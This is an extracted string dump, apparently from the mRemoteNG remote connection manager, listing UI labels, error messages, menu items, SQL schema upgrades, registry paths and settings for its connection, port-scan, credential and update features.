(UI.Window.ErrorsAndInfos) failed lvErrorCollector_SelectedIndexChanged (UI.Window.ErrorsAndInfos) failed ---------- UI.Window.ErrorsAndInfos.CopyMessagesToClipboard() failed. UI.Window.ErrorsAndInfos.DeleteMessages() failed pnlErrorMsg txtMsgText lblMsgDate pbError lvErrorCollector cMenMC cMenMCCopy cMenMCDelete Notifications ToolsListObjView DisplayName Display Name FileName Filename Arguments WorkingDir Working Directory WaitForExit Wait for exit TryIntegrate Try To Integrate RunElevated Run Elevated ShowOnToolbar Show On Toolbar cMenApps NewToolMenuItem New External Tool DeleteToolMenuItem Delete External Tool... LaunchToolMenuItem Launch External Tool PropertiesGroupBox External Tool Properties ShowOnToolbarCheckBox Show on toolbar RunElevatedCheckBox BrowseWorkingDir Browse... WorkingDirLabel Working Directory: WorkingDirTextBox TryToIntegrateCheckBox Try to integrate OptionsLabel Options: WaitForExitCheckBox BrowseButton ArgumentsCheckBox FilenameTextBox DisplayNameTextBox ArgumentsLabel Arguments: FilenameLabel Filename: DisplayNameLabel Display Name: ToolStripContainer ToolStrip NewToolToolstripButton DeleteToolToolstripButton ToolStripSeparator2 LaunchToolToolstripButton Launch $this.Icon ExternalToolsWindow External Tools UI.Window.ExternalTools.PopulateToolsListObjView() UI.Window.ExternalTools.LaunchTool() failed. UI.Window.ExternalTools.NewTool_Click() failed. Question? UI.Window.ExternalTools.DeleteTool_Click() failed. UI.Window.ExternalTools.ToolsListObjView_SelectedIndexChanged() failed. UI.Window.ExternalTools.PropertyControl_ChangedOrLostFocus() failed. *.exe UI.Window.ExternalTools.BrowseButton_Click() failed. '{0}' cannot be enabled if '{1}' is enabled Introduction Prerequisites Installation Configuration SQL Configuration Command-Line Switches Getting Started Main Menu Connections Errors and Infos Save As / Export Screenshot Manager SSH File Transfer Quick Connect Import From Active Directory Port Scan User Interface Quick Reference wbHelp tvIndex ConfigurationSQL CMDSwitches MainMenu SaveAsExport ScreenshotManager SSHFileTransfer QuickConnect ImportFromAD ExternalTools QuickReference Index pnlSplitter lblDocName \Help\ .htm ipStart ipEnd lblStartIP Start IP: lblEndIP End IP: btnScan &Scan olvHosts resultsMenuStrip importHTTPToolStripMenuItem Import HTTP importHTTPSToolStripMenuItem Import HTTPS importRDPToolStripMenuItem Import RDP importRloginToolStripMenuItem Import Rlogin importSSH2ToolStripMenuItem Import SSH2 importTelnetToolStripMenuItem Import Telnet importVNCToolStripMenuItem Import VNC SSH2 Telnet HTTP HTTPS Rlogin cbProtocol lblOnlyImport Protocol to import: HostIPorName Hostname/IP SshName TelnetName HttpName HttpsName RloginName RdpName VncName OpenPortsName Open Ports ClosedPortsName Closed Ports prgBar pnlScan numericSelectorTimeout lblTimeout Timeout (seconds): portEnd portStart Label2 End Port: Label1 Start Port: pnlImport PortScanWindow StartScan failed (UI.Window.PortScan) Scanning Host scanned Could not import host(s) from port scan context menu flpScreenshots msMain MenuStrip1 mMenFile &File mMenFileSaveAll Save All mMenFileRemoveAll Remove All cMenScreenshot cMenScreenshotCopy cMenScreenshotSave Graphics Interchange Format File (.gif)|*.gif|Joint Photographic Experts Group File (.jpeg)|*.jpeg|Joint Photographic Experts Group File (.jpg)|*.jpg|Portable Network Graphics File (.png)|*.png Screenshots AddScreenshot (UI.Window.ScreenshotManager) failed OpenScreenshot (UI.Window.ScreenshotManager) failed btnCloseScreenshot_Click (UI.Window.ScreenshotManager) failed Screenshot_* Screenshot_ \Screenshot_ .png SaveAllImages (UI.Window.ScreenshotManager) failed CopyImageToClipboard (UI.Window.ScreenshotManager) failed jpeg SaveSingleImage (UI.Window.ScreenshotManager) failed grpFiles Files lblLocalFile Local file: txtLocalFile btnTransfer Transfer txtRemoteFile lblRemoteFile Remote file: btnBrowse Browse grpConnection radProtSFTP SFTP radProtSCP lblProtocol Protocol: lblPassword Password: lblUser User: lblPort Port: lblHost Host: txtPort txtHost txtPassword txtUser pbStatus SSHTransferWindow SFTP AsyncCallback completed. Transfer of started. completed. All Files (*.*)|*.* olvConnections pnlConnections PictureBox1 txtSearch mMenAddConnection mMenAddFolder mMenView &View mMenViewExpandAllFolders Expand all folders mMenViewCollapseAllFolders Collapse all folders mMenSortAscending ConnectionTreeWindow txtSearch_KeyDown (UI.Window.ConnectionTreeWindow) failed tvConnections_KeyPress (UI.Window.ConnectionTreeWindow) failed tvConnections_KeyDown (UI.Window.ConnectionTreeWindow) failed tsMain ToolStrip1 btnDisconnect.Image btnDisconnect pnlContainer UltraVNCSC UltraVNC SC StartListening (UI.Window.UltraVNCSC) failed btnCheckForUpdate Check Again pnlUpdate lblChangeLogLabel btnDownload Download and Install prgbDownload lblStatus lblLatestVersionLabel Current version: lblInstalledVersionLabel Installed version: lblLatestVersion lblInstalledVersion pbUpdateImage UpdateWindow Main Instruction Text Main Instruction Show details Hide details &Yes &Cancel &Close frmTaskDialog : Please call .BuildForm() before showing the TaskDialog imgMain lbContent pnlButtons cbVerify Don't ask me this again lbShowHideDetails imageList1.ImageStream arrow_up_bw.bmp arrow_up_color.bmp arrow_up_color_pressed.bmp arrow_down_bw.bmp arrow_down_color.bmp arrow_down_color_pressed.bmp green_arrow.bmp panel2 pnlFooter lbFooter imgFooter panel5 panel3 pnlCommandButtons pnlMainInstruction pnlContent pnlExpandedInfo lbExpandedInfo pnlRadioButtons frmTaskDialog Couldn't add panel Dummy cMenConnectionPanelRename_Click: Caught Exception: cMenConnectionPanelScreens_DropDownOpening: Caught Exception: cMenConnectionPanelScreen_Click: Caught Exception: mMenInfo mMenInfoHelp mMenInfoSep1 mMenInfoWebsite mMenInfoDonate mMenInfoForum mMenInfoBugReport mMenToolsUpdate mMenInfoSep2 mMenInfoAbout http://bugs.mremoteng.org/ http://www.mremoteng.org/ http://donate.mremoteng.org/ mMenFileNewConnection mMenFileNewFolder mMenFileSep1 mMenFileNew mMenFileLoad mMenFileSave mMenFileSaveAs mMenFileSep2 mMenFileDelete mMenFileRename mMenFileDuplicate mMenFileSep4 mMenReconnectAll mMenFileSep3 mMenFileImport mMenFileImportFromFile mMenFileImportFromActiveDirectory mMenFileImportFromPortScan mMenFileExport mMenFileSep5 mMenFileExit mMenTools mMenToolsSSHTransfer mMenToolsUVNCSC mMenToolsExternalApps mMenToolsPortScan mMenToolsSep1 mMenToolsComponentsCheck mMenToolsOptions mMenViewAddConnectionPanel mMenViewConnectionPanels mMenViewSep1 mMenViewConnections mMenViewConfig mMenViewErrorsAndInfos mMenViewScreenshotManager mMenViewJumpTo mMenViewJumpToConnectionsConfig mMenViewJumpToErrorsInfos mMenViewResetLayout mMenViewLockToolbars mMenViewSep2 mMenViewQuickConnectToolbar mMenViewExtAppsToolbar mMenViewMultiSSHToolbar mMenViewSep3 mMenViewFullscreen splitter1 splitter2 pnlMain lstOptionPages PageName IconImage btnCancel Cancel btnOK frmOptions mRemoteNG Options cbPanels lblDescription Select a panel from the list below or click New to add a new one. Click OK to continue. btnNew frmChoosePanel Select Panel pnlDock Main Toolbar mMenSep3 tsContainer ToolStripContainer1 _quickConnectToolStrip _multiSshToolStrip _externalToolsToolStrip FrmMain Error applying theme Doing AutoSave frmMain WndProc failed lblVerify Verify: pbLock txtVerify PasswordForm lblUncheckProperties Uncheck the properties you want not to be saved! chkUsername chkPassword chkDomain chkInheritance txtFileName &Browse grpProperties Export Properties chkAssignedCredential Assigned Credential grpFile Export File lblFileFormat File &Format: lblFileName cboFileFormat grpItems Export Items lblSelectedConnection Connection Name lblSelectedFolder Folder Name rdoExportSelectedConnection Export the currently selected connection rdoExportSelectedFolder Export the currently selected folder rdoExportEverything Export everything ExportForm Export Connections *.xml *.csv chkAutomaticallyGetSessionInfo Automatically get session information lblMaximumPuttyWaitTime Maximum PuTTY wait time: chkAutomaticReconnect Automatically try to reconnect when disconnected from server (RDP && ICA only) numPuttyWaitTime chkUseCustomPuttyPath Use custom PuTTY path: lblConfigurePuttySessions To configure PuTTY sessions click this button: numUVNCSCPort txtCustomPuttyPath btnLaunchPutty Launch PuTTY lblUVNCSCPort UltraVNC SingleClick Listening Port: lblSeconds seconds btnBrowseCustomPuttyPath chkLoadBalanceInfoUseUtf8 Use UTF8 encoding for RDP "Load Balance Info" property AdvancedPage $this.PageIcon |*.exe| Button &Open lblLanguageRestartRequired mRemoteNG must be restarted before changes to the language will take effect. cboLanguage lblLanguage Language chkShowFullConnectionsFilePathInTitle Show full connections file path in window title chkShowDescriptionTooltipsInTree Show description tooltips in connection tree chkShowSystemTrayIcon Always show System Tray Icon chkMinimizeToSystemTray Minimize to System Tray AppearancePage noinfo windows custom pnlDefaultCredentials radCredentialsCustom the following: lblDefaultCredentials For empty Username, Password or Domain fields use: radCredentialsNoInfo no information radCredentialsWindows my current credentials (windows logon info) txtCredentialsDomain lblCredentialsUsername Username: txtCredentialsPassword lblCredentialsPassword txtCredentialsUsername lblCredentialsDomain CredentialsPage Log file|*.log .log labelSwitchToErrorsAndInfos Switch to Notifications panel on: chkSwitchToMCInformation chkSwitchToMCErrors Error chkSwitchToMCWarnings groupBoxNotifications Notifications Panel labelNotificationsShowTypes Show these message types: chkShowErrorInMC chkShowWarningInMC chkShowInfoInMC chkShowDebugInMC Debug groupBoxLogging Logging tblLogging chkLogDebugMsgs chkLogInfoMsgs chkLogWarningMsgs chkLogErrorMsgs chkLogToCurrentDir Log to application directory buttonRestoreDefaultLogPath Use Default buttonOpenLogFile Open File buttonSelectLogPath Choose Path labelLogTheseMsgTypes Log these message types: labelLogFilePath Log file path: textBoxLogPath groupBoxPopups Pop-ups tblPopups chkPopupDebug chkPopupError chkPopupInfo chkPopupWarning labelPopupShowTypes NotificationsPage numRDPConTimeout lblRDPConTimeout RDP Connection Timeout lblRdpReconnectionCount RDP Reconnection Count numRdpReconnectionCount chkSingleClickOnConnectionOpensIt Single click on connection opens it chkHostnameLikeDisplayName Set hostname like display name when creating new connections chkSingleClickOnOpenedConnectionSwitchesToIt lblAutoSave1 Auto Save in Minutes (0 means disabled) numAutoSave pnlConfirmCloseConnection lblClosingConnections When closing connections: radCloseWarnAll Warn me when closing connections radCloseWarnMultiple Warn me only when closing multiple connections radCloseWarnExit Warn me only when exiting mRemoteNG radCloseWarnNever Do not warn me when closing connections pnlRdpReconnectionCount pnlRdpConnectionTimeout tableLayoutPanel1 chkSaveConnectionsAfterEveryEdit Save connections after every edit chkUseFilterSearch Filter search matches in connection tree ConnectionsPage chkEncryptCompleteFile Encrypt complete connection file comboBoxEncryptionEngine labelEncryptionEngine Encryption Engine labelBlockCipher Block Cipher Mode comboBoxBlockCipher groupAdvancedSecurityOptions Advanced Security Options numberBoxKdfIterations labelKdfIterations Key Deriva pnlProxyBasic lblProxyAddress Address: txtProxyAddress lblProxyPort numProxyPort chkUseProxyForAutomaticUpdates Use a proxy server to connect chkUseProxyAuthentication This proxy server requires authentication pnlProxyAuthentication lblProxyUsername txtProxyUsername lblProxyPassword txtProxyPassword btnTestProxy Test Proxy pnlReleaseChannel UpdatesPage Stable Beta Development cMenTree _cMenTreeConnect Connect _cMenTreeConnectWithOptions Connect (with options) _cMenTreeConnectWithOptionsConnectToConsoleSession Connect to console session _cMenTreeConnectWithOptionsDontConnectToConsoleSession Don't connect to console session _cMenTreeConnectWithOptionsConnectInFullscreen Connect in fullscreen _cMenTreeConnectWithOptionsNoCredentials Connect without credentials _cMenTreeConnectWithOptionsChoosePanelBeforeConnecting Choose panel before connecting _cMenTreeDisconnect _cMenTreeSep1 _cMenTreeToolsExternalApps _cMenTreeToolsTransferFile _cMenTreeSep2 _cMenTreeDuplicate Duplicate _cMenTreeRename _cMenTreeDelete _cMenTreeSep3 _cMenTreeImport _cMenTreeImportFile Import from &File... _cMenTreeImportActiveDirectory Import from &Active Directory... _cMenTreeImportPortScan Import from &Port Scan... _cMenTreeExportFile &Export to File... _cMenTreeSep4 _cMenTreeAddConnection New Connection _cMenTreeAddFolder _cMenTreeToolsSort Sort _cMenTreeToolsSortAscending Ascending (A-Z) _cMenTreeToolsSortDescending Descending (Z-A) _cMenTreeMoveUp Move up _cMenTreeMoveDown Move down ShowHideMenuItems (UI.Controls.ConnectionContextMenu) failed cMenTreeTools_DropDownOpening failed (UI.Window.ConnectionTreeWindow) DisconnectConnection (UI.Window.ConnectionTreeWindow) failed SSHTransferFile (UI.Window.ConnectionTreeWindow) failed cMenTreeToolsExternalAppsEntry_Click failed (UI.Window.ConnectionTreeWindow) OpenConnections UI.Window.Tree.AddConnection() failed. tvConnections_AfterSelect (UI.Window.ConnectionTreeWindow) failed tvConnections_MouseMove (UI.Window.ConnectionTreeWindow) failed tvConnections_AfterLabelEdit (UI.Window.ConnectionTreeWindow) failed Title objectListView1 Credential ID Repository Title CredentialRecordListView Provider Loaded CredentialRepositoryListView tsExternalTools cMenToolbar cMenToolbarShowText No connection was selected, external tool may return errors. panel1 label3 label2 Octet4 Octet3 Octet2 label1 Octet1 IPTextBox _lblMultiSsh Multi SSH: _txtMultiSsh Press ENTER to send. Ctrl+C is sent immediately. labelFirstPasswordBox New Password labelSecondPasswordBox VerifyPassword labelPasswordsDontMatch Passwords do not match imgError secureTextBox2 secureTextBox1 NewPasswordWithVerification message lblQuickConnect cmbQuickConnect tsQuickConnect btnQuickConnect mnuQuickConnectProtocol btnConnections mnuConnections value__ IntApp PopulateQuickConnectProtocolMenu() failed. btnQuickConnect_ButtonClick() failed. Default Connection_ Unable to fill the image list of type StatusImageList pageContainer pages newControl FilteredPropertyGrid: Could not hide Property. FilteredPropertyGrid: Property not found Attribute not found connectionTree connectionInitiator clickedNode mR3m {0}: {1} messageWindow logger filter decoratedWriter Value cannot be null or empty name hostname port username password domain description macaddress userfield frmMain.AddNodeToMenu() failed Cannot compare objects. Optional type {0} is not comparable to itself Creating new SysTrayIcon failed Disposing SysTrayIcon failed SSH: Telnet: HTTP: HTTPS: Rlogin: RDP: VNC: ToString failed (Tools.PortScan) SCP Not Connected! SFTP Not Connected! HResult The file was verified successfully. The specified file does not exist. The specified file is empty. The specified file is not digitally signed. A thumbprint match is required but no thumbprint to match against was specified. The thumbprint does not match. {0} {1} {2}. The trust provider returned an error. An unhandled exception occurred. The status is unknown. Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\ Software\Microsoft\Internet Explorer\Main\FeatureControl\ devenv.exe XDesProc.exe FEATURE_BROWSER_EMULATION FEATURE_AJAX_CONNECTIONEVENTS FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS FEATURE_DOMSTORAGE FEATURE_GPU_RENDERING FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI FEATURE_DISABLE_LEGACY_COMPRESSION FEATURE_LOCALMACHINE_LOCKDOWN FEATURE_BLOCK_LMZ_OBJECT FEATURE_BLOCK_LMZ_SCRIPT FEATURE_DISABLE_NAVIGATION_SOUNDS FEATURE_SCRIPTURL_MITIGATION FEATURE_SPELLCHECKING FEATURE_STATUS_BAR_THROTTLING FEATURE_TABBED_BROWSING FEATURE_VALIDATE_NAVIGATE_URL FEATURE_WEBOC_DOCUMENT_ZOOM FEATURE_WEBOC_POPUPMANAGEMENT FEATURE_WEBOC_MOVESIZECHILD FEATURE_ADDON_MANAGEMENT FEATURE_WEBSOCKET FEATURE_WINDOW_RESTRICTIONS FEATURE_XMLHTTP SOFTWARE\Microsoft\Internet Explorer svcVersion Microsoft Internet Explorer is required! IeBrowserEmulation.Register() failed. ListBox PuTTY PuTTYNG KiTTY Xming grpAutomaticReconnect lblAnimation lblServerStatus Server Status: chkReconnectWhenReady pbServerStatus ReconnectGroup ExternalApp.Start() failed: FileName cannot be blank. ExternalApp.Start() failed. runas ExternalApp.StartIntegrated() failed. GetIconFromFile failed (Tools.Misc) - using default icon GetIconFromFile failed (Tools.Misc) Taking Screenshot failed timeoutInMilliseconds Tools.PortScan: Starting scan of {0} hosts... Tools.PortScan: Ping failed for {0} {1} {2} StartScanBG failed (Tools.PortScan) Tools.PortScan: Scanning {0} of {1} hosts: {2} Ping failed to {0} {1} {2} Tools.PortScan: Could not resolve Ping did not complete to {0} : {1} HostNameNotFound Tools.PortScan: Scan of ) complete. ipAddress WindowPlacement.Form is not set. messageCollector Parsing cmdline arguments resetpos reset Cmdline arg: Resetting window positions. resetpanels rpnl Cmdline arg: Resetting panels resettoolbar rtbr Cmdline arg: Resetting toolbar position noreconnect norc Cmdline arg: Disabling reconnection to previously connected hosts cons Cmdline arg: loading connections from a custom path ^-{1,2}|^/|=|: ^['"]?(.*?)['"]?$ true Creating new Args failed (\\*)" $1$1\" (\\*)$ $1$1 ([()%!^"<>&|]) changedItems FF{0:X2}{1:X2}{2:X2} *.vstheme vs2015light.vstheme Vs2003 vs2015light Vs2005 vs2012Light vs2012Dark vs2015dark vs2012Blue vs2015blue vs2013Light vs2013Dark vs2013Blue Error loading themes theme .vstheme darcula length must be a positive integer abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789`~!@#$%^&*()-_=+|[]{};:',./<>? securePassword unsecuredPassword ^[a-zA-Z0-9\+/]*={0,3}$ Must have a password of at least {0} characters! Secret Message Required! secretMessage Key needs to be {0} bit! Encrypted Message Required! encryptedMessage Minimum value of iterations is 1000 keyBitSize must be positive minimumCount must be a positive value specialCharacters [A-Z] [a-z] minimumLength must be a positive value. maxLength must be a positive, non-zero value. maxLength must be greater than or equal to minimumLength. cryptographyProvider cipherText authenticationRequestor engine mode element BlockCipherMode KdfIterations credentialRecord repository confirmationFunc Are you sure you want to delete these {0} selected credentials? credentialRepositories.xml repositoryList loader saver New Credential repositories TypeName New Credential Repository serializer deserializer config credentialRecordSaver credentialRecordLoader uniqueId EverythingInherited Parent VncSharp Disconnected. UNKNOWN puttySessionsManager LocalConnectionProperties.xml filename dummyscheme Decrypting connection file failed Connections loaded using Saving connections... Successfully saved connections No property with name ' ' found. Error loading default connectioninfo property Error saving default connectioninfo property DefaultConInherit-LoadFrom: Could not load DefaultConInherit-SaveTo: Could not load https: &Load \Icons\ .ico Couldn't get Icon from String IsContainer IsDefault PositionID ConstantID TreeNode IsQuickConnect PleaseConnect Could not retrieve property data for property ' ' on parent node ' Error retrieving inherited property ' Couldn't create new InterfaceControl Couldn't focus Control (Connection.Protocol.Base) Couldn't SetProps (Connection.Protocol.Base) Couldn't dispose control, probably form is already closed (Connection.Protocol.Base) Couldn't set InterfaceControl.Parent.Tag or Dispose Interface, probably form is already closed (Connection.Protocol.Base) Couldn't Close InterfaceControl BG (Connection.Protocol.Base) Attempting to start: Assuming no other errors/exceptions occurred immediately before this message regarding , the next "closed by user" message can be ignored Default IME -load -hwndparent ClearPassword DesiredColor EncRC5-0 EncRC5-40 EncRC5-56 EncRC5-128 Resizing RDP connection to host ' No longer supported in this RDP version. Reference: https://msdn.microsoft.com/en-us/library/aa380863(v=vs.85).aspx Unable to set load balance info. The session was disconnected due to inactivity Session Disconnected certificate Unhandled NSSError: User did not allow navigation to with an insecure certificate: http Failed to initialize Gecko Rendering Engine. https xDocument Node dataProvider dockPanel {0}{1}{2} mainForm externalToolsToolStrip Loading External Apps from: Loading External Apps failed: Could not FIND file! Loading External Apps failed: Could not LOAD file! TryToIntegrate Adding External App: Apps SaveExternalAppsToXML failed LoadPanelsFromXML failed mRemote. mRemoteNG. GetContentFromPersistString failed dockPanelSerializer SavePanelsToXML failed quickConnectToolStrip multiSshToolStrip mainMenu Loading settings failed Override Culture: Settings.Upgrade() failed bottom left right Saving settings failed .settings localSettings globalSettings settings PortableSettingsProvider setting[@name=' setting utf-8 Software\SimonTatham\PuTTY\Sessions iso-8859-1 Default%20Settings Default Settings HostName UserName rlogin serial telnet SshProt PortNumber SELECT * FROM RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = ' PuttySessions.Watcher.StartWatching() failed. XmingPortablePuttySessions.Watcher.StartWatching() failed: ' ' does not exist. XmingPortablePuttySessions.Watcher.StartWatching() failed. putty.conf sshk&sess sessions (.*)\ \[registry\] {0} [registry] Xming Putty Sessions puttySessionProvider ldapPath ou=([^,]*) (|(objectClass=computer)(objectClass=organizationalUnit)) securityEquals objectClass organizationalUnit Config.Import.ActiveDirectory.ImportComputers() failed. dNSHostName /configuration ./root container connection Unrecognized child node ( type root database Unrecognized root node type ( folder Argument must be either a root or a container node. xmlNode expanded false Unrecognized connection node type ( ./connection_info ./name ./protocol Unrecognized protocol ( ./host ./port ./session ./description ./login login full address server port session bpp bitmapcachepersistenable screen mode id connect to console disable wallpaper disable themes allow font smoothing allow desktop composition redirectsmartcards redirectdrives redirectcomports redirectprinters audiomode /RDCMan ./file schemaVersion Could not find schema version attribute. Unsupported schema version ({0}). programVersion Unsupported file version ({0}). ./version Unknown file version ./group|./server group server ./properties ./expanded ./displayName ./comment ./logonCredentials inherit None userName ./password storeAsClearText True ./domain ./connectionSettings ./connectToConsole ./gatewaySettings ./enabled ./hostName ./userName ./remoteDesktop ./size ./sameSizeAsClientArea ./fullScreen ./colorDepth ./localResources ./audioRedirection Client Remote NoSound ./keyboardHook FullScreenClient ./redirectDrives ./redirectPorts ./redirectPrinters ./redirectSmartCards ./securitySettings ./authentication Required Warn ThisIsNotProtected sqlDatabaseConnector Upgrading database from version 2.2 to version 2.3. ALTER TABLE tblCons ADD EnableFontSmoothing bit NOT NULL DEFAULT 0, EnableDesktopComposition bit NOT NULL DEFAULT 0, InheritEnableFontSmoothing bit NOT NULL DEFAULT 0, InheritEnableDesktopComposition bit NOT NULL DEFAULT 0; Upgrading database from version 2.3 to version 2.4. ALTER TABLE tblCons ADD UseCredSsp bit NOT NULL DEFAULT 1, InheritUseCredSsp bit NOT NULL DEFAULT 0; Upgrading database from version 2.4 to version 2.5. ALTER TABLE tblCons ADD LoadBalanceInfo varchar (1024) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, AutomaticResize bit NOT NULL DEFAULT 1, InheritLoadBalanceInfo bit NOT NULL DEFAULT 0, InheritAutomaticResize bit NOT NULL DEFAULT 0; Upgrading database from version 2.5 to version 2.6. ALTER TABLE tblCons ADD RDPMinutesToIdleTimeout int NOT NULL DEFAULT 0, RDPAlertIdleTimeout bit NOT NULL DEFAULT 0, SoundQuality varchar (20) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL DEFAULT 'Dynamic', InheritRDPMinutesToIdleTimeout bit NOT NULL DEFAULT 0, InheritRDPAlertIdleTimeout bit NOT NULL DEFAULT 0, InheritSoundQuality bit NOT NULL DEFAULT 0; UPDATE tblRoot SET ConfVersion='2.6' encryptionKey saveFilter Type Expanded Descr ConnectToConsole Connected InheritCacheBitmaps InheritColors InheritDescription InheritDisplayThemes InheritDisplayWallpaper InheritEnableFontSmoothing InheritEnableDesktopComposition InheritDomain InheritIcon InheritPanel InheritPassword InheritPort InheritProtocol InheritPuttySession InheritRedirectDiskDrives InheritRedirectKeys InheritRedirectPorts InheritRedirectPrinters InheritRedirectSmartCards InheritRedirectSound InheritSoundQuality InheritResolution InheritAutomaticResize InheritUseConsoleSession InheritUseCredSsp InheritRenderingEngine InheritUsername InheritICAEncryptionStrength InheritRDPAuthenticationLevel InheritRDPMinutesToIdleTimeout InheritRDPAlertIdleTimeout InheritLoadBalanceInfo InheritPreExtApp InheritPostExtApp InheritMacAddress InheritUserField InheritExtApp InheritVNCCompression InheritVNCEncoding InheritVNCAuthMode InheritVNCProxyType InheritVNCProxyIP InheritVNCProxyPort InheritVNCProxyUsername InheritVNCProxyPassword InheritVNCColors InheritVNCSmartSizeMode InheritVNCViewOnly InheritRDGatewayUsageMethod InheritRDGatewayHostname InheritRDGatewayUseConnectionCredentials InheritRDGatewayUsername InheritRDGatewayPassword InheritRDGatewayDomain connectionNodeSerializer SaveToXml failed Protected FullFileEncryption ConfVersion Incompatible connection file format (file format version {0}). Incompatible connection file format The format of this connection file is not supported. Please upgrade to a newer version of {1}{0}File Format Version: {2}{0}Highest Supported Version: {3} UseVNC VNCPort RDPPort Inherit False http://mremoteng.org mrng Export ThisIsProtected NodeType credentialRepositoryList connectionTreeModel serializationTarget Name;Id;Parent;NodeType;Description;Icon;Panel; Username; Password; Domain; Hostname;Protocol;PuttySession;Port;ConnectToConsole;UseCredSsp;RenderingEngine;ICAEncryptionStrength;RDPAuthenticationLevel;LoadBalanceInfo;Colors;Resolution;AutomaticResize;DisplayWallpaper;DisplayThemes;EnableFontSmoothing;EnableDesktopComposition;CacheBitmaps;RedirectDiskDrives;RedirectPorts;RedirectPrinters;RedirectSmartCards;RedirectSound;RedirectKeys;PreExtApp;PostExtApp;MacAddress;UserField;ExtApp;VNCCompression;VNCEncoding;VNCAuthMode;VNCProxyType;VNCProxyIP;VNCProxyPort;VNCProxyUsername;VNCProxyPassword;VNCColors;VNCSmartSizeMode;VNCViewOnly;RDGatewayUsageMethod;RDGatewayHostname;RDGatewayUseConnectionCredentials;RDGatewayUsername;RDGatewayPassword;RDGatewayDomain; InheritCacheBitmaps;InheritColors;InheritDescription;InheritDisplayThemes;InheritDisplayWallpaper;InheritEnableFontSmoothing;InheritEnableDesktopComposition;InheritDomain;InheritIcon;InheritPanel;InheritPassword;InheritPort;InheritProtocol;InheritPuttySession;InheritRedirectDiskDrives;InheritRedirectKeys;InheritRedirectPorts;InheritRedirectPrinters;InheritRedirectSmartCards;InheritRedirectSound;InheritResolution;InheritAutomaticResize;InheritUseConsoleSession;InheritUseCredSsp;InheritRenderingEngine;InheritUsername;InheritICAEncryptionStrength;InheritRDPAuthenticationLevel;InheritLoadBalanceInfo;InheritPreExtApp;InheritPostExtApp;InheritMacAddress;InheritUserField;InheritExtApp;InheritVNCCompression;InheritVNCEncoding;InheritVNCAuthMode;InheritVNCProxyType;InheritVNCProxyIP;InheritVNCProxyPort;InheritVNCProxyUsername;InheritVNCProxyPassword;InheritVNCColors;InheritVNCSmartSizeMode;InheritVNCViewOnly;InheritRDGatewayUsageMethod;InheritRDGatewayHostname;InheritRDGatewayUseConnectionCredentials;InheritRDGatewayUsername;InheritRDGatewayPassword;InheritRDGatewayDomain;InheritRDPAlertIdleTimeout;InheritRDPMinutesToIdleTimeout;InheritSoundQuality baseDeserializer Auth Could not find Auth header in the XML repository root element. baseSerializer credentialRecords Credential SchemaVersion The schema version of this document is not supported by this class. Document Version: Supported Version: CredentialRepository CredentialRepositories LocalConnections decryptionKey Container DomainName ParentID tblCons LastChange SELECT * FROM tblRoot confVersion Retrieving database version failed. {0} DELETE FROM tblRoot INSERT INTO tblRoot (Name, Export, Protected, ConfVersion) VALUES(' ', 0, ' UpdateRootNodeTable: rootTreeNode was null. Could not insert! Unable to import file. File path is null. Unable to import file. File does not exist. Path: Config.Import.ActiveDirectory.Import() failed. SELECT * FROM tblCons ORDER BY PositionID ASC Trying to save connections but the SQL read only checkbox is checked, aborting! dbo.tblCons Could not load file. File does not exist ' Failed to load file Failed to save file Failed to move file to Data Source= ;Initial Catalog= ;User Id= ;Password= ;Integrated Security=True previousTreeModelModel newTreeModelModel newSourcePath modelThatWasSaved Argument 'connectionFileName' cannot be null or empty connectionsService localConnectionPropertiesDeserializer Could not load SQL connections localPropertieSerializer localPropertiesDataProvider Property is local only. Not saving to database. Trying to save connection tree but the SQL read only checkbox is checked, aborting! Saved connections to database Saved local connection properties DELETE FROM tblCons DELETE FROM tblUpdate INSERT INTO tblUpdate (LastUpdate) VALUES(' connectionFilePath cannot be null or empty does not exist SELECT * FROM tblUpdate Unable to connect to Sql DB to check for updates. LastUpdate Error executing Sql query to get updates from the DB. Remote connection update is available databaseConnector OverrideFIPSCheck is set. Will skip check... Checking FIPS Policy... User requests that FIPS check be overridden System\CurrentControlSet\Control\Lsa FIPSAlgorithmPolicy System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy Enabled Checking Lenovo AutoScroll Utility... virtscrl Error in CheckLenovoAutoScrollUtility LogFileAppender Logger mRemoteNG.log Could not load startup file. The update could not be started. Determining if we need a database syncronizer Creating database syncronizer GetUpdateInfoCompleted() failed. App.Export.ExportToFile() failed. saveFormat Export.SaveExportFile(" ") failed. *.xml;*.rdp;*.rdg;*.dat;*.csv *.rdp *.rdg *.dat Unable to import file. Error occurred while importing file ' App.Import.ImportFromActiveDirectory() failed. App.Import.ImportFromPortScan() failed. .xml .csv .rdp .rdg .dat Unrecognized file format. Showing ComponentsCheck window App.Runtime.Windows.Show() failed. mRemoteNG_SingleInstanceMutex CurrentUpdateInfo is not valid. GetUpdateInfoAsync() must be called before calling GetChangeLogAsync(). A previous call to DownloadUpdateAsync() is still in progress. CurrentUpdateInfo is not valid. GetUpdateInfoAsync() must be called before calling DownloadUpdateAsync(). user-agent SHA512 Hashes didn't match! dURL clURL CertificateThumbprint Checksum folderPath must be a valid folder path. *.ico SELECT * FROM Win32_OperatingSystem WHERE Primary=True Caption Error retrieving operating system information from WMI. ServicePackMajorVersion Service Pack {0} SELECT * FROM Win32_Processor WHERE DeviceID='CPU0' AddressWidth {0}-bit Error retrieving operating system address width from WMI. starting. Command Line: Microsoft .NET CLR {0} System Culture: compatible Windows NT {0}.{1} WOW64 .NET CLR {0} Mozilla/5.0 ( confCons.xml confConsNew.xml confCreds.xml confCredsNew.xml pnlLayout.xml extApps.xml Themes.xml Themes update.txt beta-update.txt dev-update.txt update-portable.txt beta-update-portable.txt dev-update-portable.txt ConDefault InhDefault :{0} {0}{1} ({2}) {00AAC56B-CD44-11d0-8CC2-00C04FC295EE} Values must be "Yes" or "No" Language.strRdpErrorUnknown Language.strRdpErrorCode1 Language.strRdpErrorOutOfMemory Language.strRdpErrorWindowCreation Language.strRdpErrorCode2 Language.strRdpErrorCode3 Language.strRdpErrorCode4 Language.strRdpErrorConnection Language.strRdpErrorWinsock 